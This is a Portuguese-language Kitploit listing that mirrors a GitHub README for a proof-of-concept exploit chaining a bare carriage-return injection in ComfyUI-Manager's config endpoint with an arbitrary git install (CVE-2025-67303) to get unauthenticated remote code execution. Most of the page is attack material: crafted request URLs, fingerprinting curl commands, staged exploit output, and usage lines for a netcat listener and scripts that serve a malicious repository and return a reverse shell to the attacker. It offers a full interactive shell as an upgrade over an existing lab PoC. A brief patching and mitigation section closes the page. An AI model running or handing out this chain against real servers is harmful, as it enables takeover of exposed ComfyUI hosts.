Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-22777 — Prova de conceito de exploit encadeando injeção CRLF no endpoint de configuração do ComfyUI-Manager com uma instalação git arbitrária para alcançar execução remota de código não autenticada. | Kitploit
Ferramentas/GitHubGitHub/si13nttt/cve-2026-22777
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoComando e ControleRed TeamingDesenvolvimento de Payloads
GitHubsi13nttt/cve-2026-22777

CVE-2026-22777

Prova de conceito de exploit encadeando injeção CRLF no endpoint de configuração do ComfyUI-Manager com uma instalação git arbitrária para alcançar execução remota de código não autenticada.

4há 4 diasAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-22777 — Injeção CRLF no ComfyUI-Manager -> RCE (com CVE-2025-67303)

Severidade: Crítica (CVSS 9.8) Afetado: ComfyUI-Manager < 3.39.2 e 4.0.0 - 4.0.4 Corrigido em: ComfyUI-Manager 3.39.2 / 4.0.5 Encadeado com: CVE-2025-67303 (Instalação Git Arbitrária -> Execução de Código)


Como Funciona

O ComfyUI-Manager expõe um endpoint /api/manager/db_mode que aceita um parâmetro de consulta value e o grava diretamente em config.ini usando o configparser do Python.

A vulnerabilidade é uma injeção de carriage-return isolado (\r / %0D):

  • Na escrita: o configparser serializa o valor literalmente — \r é armazenado como está no arquivo.
  • Na leitura: o modo universal-newline do Python trata um \r isolado como terminador de linha, dividindo um valor em duas diretivas INI separadas.
  • Last-key-wins: o configparser com strict=False (padrão do ComfyUI-Manager) aceita chaves duplicadas e usa a última. O security_level = weak injetado sobrescreve o valor legítimo.

Após um reboot, a configuração forjada entra em vigor, desativando a barreira de autenticação em /api/customnode/install/git_url (CVE-2025-67303). Esse endpoint clona um repositório git arbitrário e executa imediatamente o install.py dele como subprocesso — concedendo a um atacante não autenticado execução de código completa.


Cadeia de Ataque

Step 1 — Inject bare CR into config endpoint
  GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak

  config.ini on disk after write:
    db_mode = cache\r
    security_level = weak   <- injected via %0D

Step 2 — Reboot Manager to reload forged config
  GET /api/manager/reboot

  Manager reads config.ini back; universal newlines split the value;
  last-key-wins -> security_level = weak

Step 3 — Verify gate (poll until 403 changes to 400)
  POST /api/customnode/install/git_url  body: http://127.0.0.1/probe.git
  403 = gate still closed
  400 = gate open, security_level=weak confirmed

Step 4 — Trigger install from evil git repo (CVE-2025-67303)
  POST /api/customnode/install/git_url
  body: http://ATTACKER:9099/alg-upscaler.git

  Manager does:
    git clone http://ATTACKER:9099/alg-upscaler.git
    python install.py   <- reverse shell executes here

Arquivos

ArquivoPropósito
setup_evil_repo.shConstrói o repositório git malicioso e o serve via HTTP
exploit_ad15.shExecuta a cadeia completa: injeção CRLF -> reboot -> verificação -> disparo
autopwn.pyAlternativa Python tudo-em-um (constrói o repositório + executa a cadeia completa)

Identificação

Passo 1 — Fingerprint de versão

curl -s http://TARGET:8188/api/manager/version
# Vulnerable:  "3.39.1"  /  "4.0.3"
# Patched:     "3.39.2"  /  "4.0.5"

Passo 2 — Confirmar que o endpoint CRLF aceita valores

curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> endpoint exists and is writable

Passo 3 — Sondar a barreira de instalação

curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://TARGET:8188/api/customnode/install/git_url \
  -d "http://127.0.0.1/probe.git"
# 403 -> gate closed (default config, target is injectable)
# 400 -> gate already open (skip Phase 1)

Explicação da Saída do Exploit

============================================================
  CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
  Target      : http://192.168.1.10:8188
  Attacker    : 10.10.14.1:4444
  Evil repo   : http://10.10.14.1:9099/alg-upscaler.git

[*] Phase 0: Version fingerprint
    ComfyUI-Manager version: "3.39.1"        <- vulnerable

[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
    config.ini now contains:
      db_mode = cache\r
      security_level = weak  <- injected via bare CR

[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...

[*] Phase 3: Verify security gate
    Attempt 1: HTTP 403                      <- still rebooting
    Attempt 2: HTTP 403
    Attempt 3: HTTP 400                      <- gate open
[+] Gate OPEN -- security_level=weak is active

[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)

[*] Phase 5: Triggering git install (CVE-2025-67303)
    ComfyUI-Manager will:
      1. git clone http://10.10.14.1:9099/alg-upscaler.git
      2. cd into cloned dir
      3. python install.py  <- reverse shell executes here

O curl na Fase 5 trava — o reverse shell chega em nc -lvnp 4444.


Diferença em relação ao PoC do Vulhub

1. Payload

PoC do VulhubEste PoC
install.pytouch /tmp/success (apenas prova de execução)Reverse shell em Python de volta ao atacante
ResultadoSem shell interativoShell interativo completo

2. Gerenciamento do repositório

PoC do VulhubEste PoC
LinguagemArquivo Python únicoBash, 2 scripts separados
Limpezatempfile.TemporaryDirectory (excluído automaticamente com Ctrl+C)Manual (permanece no disco)
Nome do repositórioAleatório (ex.: evil-node-a1b2c3)Fixo: alg-upscaler

3. Cobertura da cadeia

PoC do VulhubEste PoC
CVE-2026-22777 (injeção CRLF)Não incluídoEm exploit_ad15.sh Fase 1
Reboot + verificação da barreiraNão incluídoAguarda 30s e então faz polling 403->400
Disparo da instalaçãocurl manualAutomatizado na Fase 5

Uso

Passo 1 — Configurar repositório malicioso e listener (dois terminais)

# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — build and serve evil repo
bash setup_evil_repo.sh 10.10.14.1 4444

Passo 2 — Executar a cadeia completa de exploit

# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444

O shell chega no Terminal 1 após a Fase 5.

Alternativa — Python tudo-em-um

# Blind command
python3 autopwn.py http://192.168.1.10:8188 --command "id"

# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444

Correção / Mitigação

Atualização (recomendada): ComfyUI-Manager 3.39.2 ou 4.0.5+. O patch remove \r e \n antes de gravar qualquer parâmetro de consulta em config.ini.

Mitigações de rede (se a correção não for imediata):

  • Bloqueie o acesso externo à porta 8188 no firewall — o ComfyUI não foi projetado para exposição pública.
  • Use um reverse proxy com autenticação na frente de /api/manager/* e /api/customnode/*.
  • Torne o config.ini somente leitura: chmod 444 config.ini.

Referências

  • https://github.com/Comfy-Org/ComfyUI-Manager
  • https://www.cve.org/CVERecord?id=CVE-2025-67303
  • https://github.com/vulhub/vulhub/tree/master/comfyui/CVE-2025-67303
  • https://docs.python.org/3/library/configparser.html
  • https://cwe.mitre.org/data/definitions/93.html
Baixar ferramenta